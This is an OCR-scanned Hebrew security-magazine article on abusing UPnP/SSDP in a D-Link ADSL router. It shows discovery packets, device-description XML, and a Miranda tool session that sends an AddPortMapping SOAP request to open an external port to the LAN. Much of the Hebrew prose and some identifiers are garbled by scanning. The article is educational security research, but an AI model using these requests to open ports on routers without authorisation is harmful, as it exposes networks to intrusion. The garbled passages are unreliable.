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1.Client — Multicast (UDP:1900)

M-SEARCH * HTTP/1.1
Host:239.255.255.250:1900 // Multicast Address
ST:urn:schemas-upnp-org:device:InternetGatewayDevice:1
// service type we want to discover
Man:"ssdp:discover" // Packet type
MX: 3 // seconds to delay response

01977 Notify n'7n' on7w SSDP -0 'Nmw ,nwna UPNP 12D nikynal nT'na

2. SSDP Server (UDP:900) — Client

NOTIFY * HTTP/1.1

HOST: 239.255.255.250:1900

CACHE-CONTROL: max-age=1800 //seconds until advertisement
expires

Location: http://10.0.0.138:5431/dyndev/uuid:£0840801-5c00-0074-d85¢c~-
006c00c06c08

NT: urn:schemas-upnp-org:service:WANPPPConnection:1

NTS: ssdp:alive

SERVER:LINUX/2.4 UPnP/1.0 BRCM400/1.0

USN: uuid:£0840801-5c00-0074-d85c-006c00c06c08: :urn:schemas
upnporg:service:WANPPPConnection:1

//Unique Service Name

,Device Description-n x1j7aw XML yaip nnn 1mi UPnP Server-7 nannn vav7pn pn WnKY?
179 D'NN'WNE MWD Y'YNY [pNn 790 7 yTnin R 7ony

3.Client — UPnP, Server (TCP:5431)

GET /dyndev/uuid:£f0840801-5c00-0074-d85c-006c00c06c08 HTTP/1.1
Accept-Encoding: identity

Host: 10.0.0.138:5431

Content-Type: text/xml; charset="utf-8"

Connection: close

User-Agent: uPNP/1.0

: (Device Description) napnnn 72 nx 7onw XML -0 ny 2'an nwn

4.UPnP Server(TCP:5431) — Client

HTTP/1.0 200 OK

SERVER: LINUX/2.4 UPnP/1.0 BRCM400/1.0
DATE: Sun, 16 May 2010 08:27:13 GMT
CONTENT-TYPE: application/octet-stream
Cache-Control: max-age=1

PRAGMA: no-cache
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Connection: Close

<?xml version="1.0"7?>

<root xmlns="urn:schemas-upnp-org:device-1-0">

<specVersion>

<major>1</major>

<minor>0</minor>

</specVersion>

<URLBase>http://10.0.0.138:5431/</URLBase>

<device>

<deviceType>urn:schemas-upnp-
org:device:InternetGatewayDevice:1</deviceType>
<presentationURL>http://10.0.0.138:80/</presentationURL>
<friendlyName>DLink ADSL Router</friendlyName>
<manufacturer>DLink</manufacturer>
<manufacturerURL>http://www.broadcom.com/</manufacturerURL>
<modelDescription>DLink single-chip ADSL router</modelDescription>
<modelName>DSL-2760U-BN</modelName>
<modelNumber>1.0</modelNumber>
<modelURL>http://www.dlink.com/</modelURL>
<UDN>uuid:£0840801-5e00-0074-d85c-005c03c09c08</UDN>
<serviceList>

<service>

<serviceType>urn:schemas-upnp-
org:service:Layer3Forwarding:1</serviceType>
<serviceld>urn:upnp-org:serviceld:Layer3Forwarding:11</serviceId>
<controlURL>/uuid:£0840801-5e00-0074-d85c-
005c03c09c08/Layer3Forwarding:1</controlURL>
<eventSubURL>/uuid:£0840801-5e¢00-0074-d85c~—
005¢c03c09c08/Layer3Forwarding:1</eventSubURL>
<SCPDURL>/dynsvc/Layer3Forwarding:1.xml</SCPDURL>

</service>

</serviceList>

<deviceList>

<device>
<deviceType>urn:schemas-upnp-org:device:WANDevice:1</deviceType>
<friendlyName>urn:schemas-upnp-org:device:WANDevice:1</friendlyName>
<manufacturer>DLink</manufacturer>
<manufacturerURL>http://www.broadcom.com/</manufacturerURL>
<modelDescription>DLink single-chip ADSL router</modelDescription>
<modelName>DSL-2760U-BN</modelName>
<modelNumber>1.0</modelNumber>
<modelURL>http://www.dlink.com/</modelURL>
<UDN>uuid:£f0840801-5c00-0074-d85c-005c01c0a378</UDN>
<servicelList>

<service>

<serviceType>urn:schemas-upnp-
org:service:WANCommonInterfaceConfig:1</serviceType>
<serviceld>urn:upnp-org:serviceld:WANCommonIFCl</serviceId>
<controlURL>/uuid:£0840801-5c00-0079-d85c~-
105c01c0a078/WANCommonInterfaceConfig:1</controlURL>
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<eventSubURL>/uuid:f0840801-5c00-0079-d85c—-
105c01c0a078/WANCommonInterfaceConfig:1</eventSubURL>
<SCPDURL>/dynsvc/WANCommonInterfaceConfig:1.xml</SCPDURL>
</service>

</serviceList>

</root>
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Miranda UPnP Tool
2V NI71Iyo yiIxal yTn N7 N WORNN Miranda  Xj7aw "D NIyXnXa NI DR AN XD
INON INIX TIIN7 N1 (TAB2 n'univixk Nn7wun 17 W'y j1'on nin T RNt UPNP My

http://code.google.com/p/mirandaupnptool/

‘WAN-2 9999 v1197 10.0.0.138:80 naIimda X¥N1W VIR 7Y 71NN pwnn? nw'a NNO)

aviv@mybox :~/Desktop$ ./miranda.py
upnp> msearch

...Entering discovery mode for 'upnp:rootdevice', Ctl+C to stop

T ]

SSDP reply message from 10.0.0.138:5431
XML file is located at http://10.0.0.138:5431/dyndev/uuid:f0840801-5c00-0073-b85¢c-005c00c09¢c09
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Device is running Custom/1.0 UPnP/1.0 Proc/Ver

upnp> host info 0

xmlFile : http://10.0.0.138:5431/dyndev/uuid:f0840801-5c00-0073-b85¢c-005c00c09c09
name : 10.0.0.138:5431

proto : http://

serverType : None

upnpServer : Custom/1.0 UPnP/1.0 Proc/Ver

dataComplete : False

devicelist : {}

upnp> host get 0

Requesting device and service info for 10.0.0.138:5431 (this could take a few se
conds)...

Host data enumeration complete!

JDwan M2 oIk 7w (71n pwnn ) 80 v1i9'? WAN-1 9999 v11o 7w nnavin yxad ,pn INXY
upnp> host send 0 WANConnectionDevice WANPPPConnection AddPortMapping

Required argument:
Argument Name: NewPortMappingDescription
Data Type:  string
Allowed Values: []
Set NewPortMappingDescription value to:

Required argument:
Argument Name: NewlLeaseDuration
Data Type:  ui4
Allowed Values: []
Set NewLeaseDuration value to: 0

Required argument:
Argument Name: NewlnternalClient
Data Type:  string
Allowed Values: []
Set NewlInternalClient value to: 10.0.0.138

Required argument:
Argument Name: NewEnabled
Data Type:  boolean
Allowed Values: []
Set NewEnabled value to: 1

Required argument:
Argument Name: NewExternalPort
Data Type: ui2
Allowed Values: []
Set NewExternalPort value to: 9999

Required argument:
Argument Name: NewRemoteHost
Data Type:  string
Allowed Values: []
Set NewRemoteHost value to:

Required argument:
Argument Name: NewProtocol
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Data Type:  string

Allowed Values: [TCP', 'UDP']
Set NewProtocol value to: TCP

Required argument:
Argument Name: NewlinternalPort
Data Type:  ui2
Allowed Values: []

Set NewlInternalPort value to: 80

NNYY yT'AN N77an N'RN D

POST /uuid:0000e058-20a0-00e0-b0b0-48c802a86018/WANPPPConnection:1
HTTP/1.1

SOAPAction: "urn:schemas-upnp-
org:service:WANPPPConnection:1l#AddPortMapping"

Host: 10.0.0.138:5431

Content-Type: text/xml

Content-Length: 626

<?xml version="1.0"?>

<SOAP-ENV:Envelope xmlns:SOAP-
ENV="http://schemas.xmlsoap.org/soap/envelope" SOAP-
ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>

.<m:AddPortMapping xmlns:m="urn:schemas-upnp-
org:service:WANPPPConnection:1">
<NewPortMappingDescription>a</NewPortMappingDescription><NewLeaseDurati
on>0</NewLeaseDuration><NewInternalClient>10.0.0.138</NewInternalClient
><NewEnabled>1</NewEnabled><NewExternalPort>9999</NewExternal Port><NewR
emoteHost></NewRemoteHost><NewProtocol>TCP</NewProtocol><NewInternalPor
t>80</NewInternalPort>

.</m:AddPortMapping>

</SOAP-ENV:Body>

</SOAP-ENV:Envelope>
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190N W' ,XMAITA Y0IKYY? INYWY yTn n7an 7w POST-n nuvwa , 'nan? naw 9o .2
['R TIY 72 27 , q0Ixn Xy TNt 19on Xinw (Universally Unique Identifier) UUID
17¢ NIYpPann D7yn' W0IRIN INIR 1197

DA ,0I' DMVIXKIN 2ANAY XD nwan ,Device Description XML-1 y'oin UUID-n 190n
17w 7'w7 1my) SSDP -n 1 v 0'7apn mikw UUID -2 iy vt XML -0 X a'win'? '
XHR-2 wnnwn%? n¥11 oxi UDP 12 7y Taly XInw 190 ,7'2an N¥pw 12T - (MN2annnn

.Y N¥P 1INIX

7V NNIX NI017 DINTIN DNX ,WTN N'ON' TVIXY 7V nkymw UUID-n NX 2'wn'? NNR 0T A7) XD
2760U- paT1 D-Link a1on omTima . AN [ 0IRY 7V Tay wnn X7 07T DYWIR Y7, DM0IRN IRY
-0 X TIIN7 WO 12w qon UPNP nmw kx¥ni 49431 vhioa, pra 1 7 opiwnw (N |7n) BN

:X2N 91X, devicedesc.xml x1j7aw Device Decription-n 7w XML

GET /devicedesc.xml HTTP/1.1
Accept-Encoding: identity

Host: 10.0.0.138:49431

Content-Type: text/xml; charset="utf-8"
Connection: close

User-Agent: uPNP/1.0

:0Tion nnax ™1, WANPPPConnection v UUID -n nX 0'971w nwn

<service>

<serviceType>urn:schemas-upnp-
org:service:WANPPPConnection:1</serviceType>
<serviceId>urn:upnp-org:serviceld:WANPPPConnl</serviceId>
<controlURL>/uuid:0000e058-20a0-00e0-b0b0-
48c802a86018/WANPPPConnection:1</controlURL>
<eventSubURL>/uuid:0000e058-20a0-00e0-b0b0-
48c802a86018/WANPPPConnection:1</eventSubURL>
<SCPDURL>/dynsvc/WANPPPConnection:1.xml</SCPDURL>
</service>
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NewPortMappinglndex — The index of the REDIRECT list.

upnp> host send 0 WANConnectionDevice WANPPPConnection GetGenericPortMappingEntry

Required argumet:
Argument Name: NewPortMappingindex
Data Type:  ui2

Allowed Values: []

Set NewPortMappingIndex value to: 0

NewPortMappingDescription : Skype UDP at 10.0.0.1:2999

NewLeaseDuration : 0
NewlnternalClient : 10.0.0.1
NewEnabled : 1
NewExternalPort : 2999
NewRemoteHost :
NewProtocol : UDP
NewlnternalPort : 2999

7v nwpa N7 Html Form niyxnxaw - 97972 010N 9T NI9XT7 X QNN nw2inn 718 |DIX
N2 AWNNY N9N NIYYY7I 17 NAIMDY NAIMDN DX YR 97007 20k v nn L,IRC DCC
¥ 0I¥N 7V DM2ANN R ITH NU'YA . NYRAD QIIXNY 0II9N NI NYZAN NN7Y] 1NNY NWIN

Y217 YN TN gpnan

<2°20% 2319290

NnYIN YN VT'n quin SSDP .1

,UPnP-n nYw 210 ,awnnn Namd yT'n vyn X7 niswin 77 012 SSDP nivTin
D'¥"IN DN DA NINT? D'AYNNA YNKRT? DIPNWOKRN NNX .AXR7D 1YY XD ™YY Nownn
NN'Y YINw awnn IX 21 72 9w natna Notify a2 M-Search nyTin ni7w? X'
DMWY 197 700 wnw'? onna NI SSDP nivTinw nikw nn ,UPNP

Fuzzing .2

D'XNNI 'OX7P YTM wnn ,DINYNN 210 NIYI90 Ny 7y 0019 7'on XML-n yaip
.7"130 01112112 NMonen NIW7IN vyn X7 1'x1 2001 nawn 7nint TROY

UPnP 712101n91 Niw7IN

www.DigitalWhisper.co.il
8 2010 ' ,9 "2



Technologic

Open Ports .3
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[1] http://www.ethicalhacker.net/content/view/220/24/

[2] http:/lwww.phrack.org/issues.html?issue=65&id=5#article
[3] http://mwww.upnp-hacks.org

[4] http://www.gnucitizen.org/blog/hacking-the-interwebs/
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